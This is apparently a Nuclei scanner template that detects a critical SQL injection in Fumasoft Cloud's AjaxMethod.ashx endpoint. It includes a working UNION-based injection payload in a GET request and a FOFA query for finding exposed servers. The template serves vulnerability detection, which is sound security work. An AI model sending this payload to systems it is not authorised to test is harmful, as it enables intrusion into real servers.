fumasoft-sqli: Fumasoft Cloud - SQL Injection

id: fumasoft-sqli

info:
  name: Fumasoft Cloud - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    There is a SQL injection vulnerability in the AjaxMethod.ashx file of Fumasoft Cloud. Attackers can obtain server permissions through the vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
    verified: true
    fofa-query: title="Fumeng Cloud"
  tags: fumasoft,sqli,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y'+union+select+substring(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','{{num}}')),3,32)--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 500
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